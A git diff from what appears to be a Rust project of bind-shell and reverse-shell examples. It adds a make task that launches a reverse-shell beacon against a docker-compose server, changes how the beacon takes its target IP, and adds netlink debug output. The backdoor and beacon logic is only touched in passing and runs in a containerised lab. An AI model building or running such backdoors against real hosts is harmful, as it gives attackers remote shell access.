diff --git a/examples/Makefile.toml b/examples/Makefile.toml index 333b03f..08636f3 100644 --- a/examples/Makefile.toml +++ b/examples/Makefile.toml @@ -5,4 +5,19 @@ script = ''' tmux new-session -d -s bindshell 'docker-compose up examples_bindshell_target' tmux split-window -h 'docker-compose run examples_bindshell_client' tmux -2 attach -t bindshell +''' + +[tasks.examples-revshell-run] +workspace = false +dependencies = ["build"] +script = ''' +set -eux +tmux new-session -d -s revshell 'docker-compose up examples_revshell_server' +sleep 1 +IP=$(docker-compose exec examples_revshell_server ip a show eth0 | awk '/inet/{print $2}' | awk -F'/' '{print $1}') +echo $IP +sleep 1 +COMMAND="target/debug/ex-revshell-beacon $IP" +tmux split-window -h "$COMMAND" +tmux -2 attach -t revshell ''' \ No newline at end of file diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index 1dd687c..09f6417 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -149,7 +149,7 @@ async fn handle_command( let cmd_str = std::str::from_utf8(cmd.as_bytes()); match cmd_str.map(|c| c.split(" ").collect::>()).as_deref() { Ok(["exit"]) => { - send_exit.send(()).await; + let _ = send_exit.send(()).await; return Ok(()); } Ok(["cd", dir]) => { diff --git a/examples/reverse-shell/beacon/src/main.rs b/examples/reverse-shell/beacon/src/main.rs index 58658bb..bd22cb6 100644 --- a/examples/reverse-shell/beacon/src/main.rs +++ b/examples/reverse-shell/beacon/src/main.rs @@ -1,4 +1,4 @@ -use std::{collections::HashMap, io::prelude::*, net::Ipv4Addr}; +use std::{collections::HashMap, net::Ipv4Addr}; use anyhow::anyhow; use tokio::time::{interval, Duration}; @@ -9,12 +9,7 @@ use pcap_sys::packets::*; #[tokio::main] async fn main() -> anyhow::Result<()> { - print!("Please enter the target IP (found with `docker-compose exec examples_revshell_server ip a`, e.x. 172.19.0.2): "); - std::io::stdout().flush()?; - let stdin = std::io::stdin(); - let mut target = String::new(); - stdin.read_line(&mut target)?; - let target = target.trim().parse::()?; + let target = std::env::args().skip(1).next().ok_or(anyhow!("could not get target IP"))?.parse::()?; let (ifname, src_mac, dst_mac, srcip) = { let socket = netlink::Socket::new()?; diff --git a/nl-sys/src/route.rs b/nl-sys/src/route.rs index e3c488e..107d0c9 100644 --- a/nl-sys/src/route.rs +++ b/nl-sys/src/route.rs @@ -122,7 +122,10 @@ impl Link { impl Debug for Link { fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - f.debug_struct("Link").field("name", &self.name()).finish() + f.debug_struct("Link") + .field("name", &self.name()) + .field("ifindex", &self.ifindex()) + .finish() } } @@ -174,6 +177,14 @@ pub fn get_macs_and_src_for_ip( let link = netlink::get_link_by_index(links, link_ind)?; + let neighs_ = neighs.iter().collect::>(); + + dbg!(neighs_.len()); + + for neigh in neighs_.iter() { + println!("Neigh: {:?} -> {:?} ({})", neigh.lladdr(), neigh.dst(), neigh.ifindex()); + } + let neigh = neighs.iter().find(|n| n.ifindex() == link.ifindex())?; let srcip = addrs.iter().find(|a| a.ifindex() == link.ifindex())?;